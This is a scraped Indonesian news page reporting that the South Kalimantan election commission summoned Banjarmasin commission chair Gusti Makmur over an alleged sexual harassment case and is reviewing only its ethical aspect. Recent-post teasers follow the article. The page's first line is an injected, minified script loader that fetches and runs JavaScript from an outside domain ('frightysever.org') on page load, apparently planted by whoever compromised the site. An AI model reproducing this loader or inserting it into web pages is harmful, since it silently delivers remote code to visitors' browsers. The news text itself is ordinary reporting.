(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemanggilan Gusti Makmur, KPU Kalsel: Kami Hanya Menyentuh Aspek Etik Saja!


KANALKALIMANTAN.COM, BANJARMASIN – Pemanggilan Ketua KPU Kota Banjarmasin Gusti Makmur oleh KPU Provinsi Kalsel, merupakan tindak lanjut dari kasus dugaan pelecehan seksual yang diduga menyeretnya. Alih-alih melihat dari aspek hukum KPU Provinsi Kalsel sendiri hanya melihatnya dari aspek etik, apalagi Gusti Makmur merupakan pimpinan penyelenggara pemilu di Kota Banjarmasin.

“Kita hanya menyentuh aspek etiknya saja, karena itu terkait dengan posisi yang bersangkutan sebagai penyelenggara pemilu,” kata Plh Ketua KPU Provinsi Kalsel Siswandi Reya’an, Selasa (21/1/2020) siang.

Siswandi beralasan, dari aspek hukum karena menurutnya itu merupakan persoalan yang berbeda. Apalagi, kasus dugaan pelecehan seksual ini prosesnya tengah ditangani oleh Kepolisian dan Kejaksaan.

Lebih lanjut Komisioner KPU Provinsi Kalsel Edy Ariansyah menambahkan, pihaknya masih terus menggali informasi dan klarifikasi terkait kasus ini. Karena masih ada beberapa hal yang perlu ditinjau dari pihak terkait.

“Sehingga kami duduk bersama berlima, setelah mendapatkan data-data dari berbagai pihak atau informasi dari pihak terkait. Baru kita akan simpulkan,” jelas Edy.

Lalu, apa ada rencana KPU Provinsi Kalsel untuk memanggil atau meminta informasi dari pihak terkait? Edy menyebut pihaknya akan membicarakannya lebih lanjut. “Insyaallah, masih kita bicarakan lebih lanjut lagi dengan teman-teman, pihak mana yang relevan (untuk) didapati informasi dan kita telusuri,” papar Edy.

Sayangnya, Edy belum bisa mengungkapkan dari klarifikasi yang disampaikan Gusti Makmur kepada komisioner KPU Provinsi Kalsel. Alasannya, karena informasi yang digali baru dari Gusti Makmur.

“Belum bisa disampaikan kepada publik, karena itu masih sepihak. Masih ada beberapa hal yang perlu kami dapati terkait informasi yang berkembang di media massa,” tegas Edy.

Edy pun menambahkan, apa yang dilakukan oleh KPU Provinsi Kalsel adalah pengawasan internal terhadap informasi yang mencuat di publik melalui media massa. Sehingga, pihaknya merespon sebagai keluhan publik terhadap jajaran penyelenggara pemilu.

“Agar hal tersebut tidak menjadi fitnah, kami panggil untuk meminta keterangan. Nanti kita lihat dulu, kendati belum kita buka hasil klarifikasi, tetapi akan kami simpulkan dari berbagai pihak,” tandas Edy. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

44 menit ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

1 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

1 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

3 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

4 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

5 jam ago

This website uses cookies.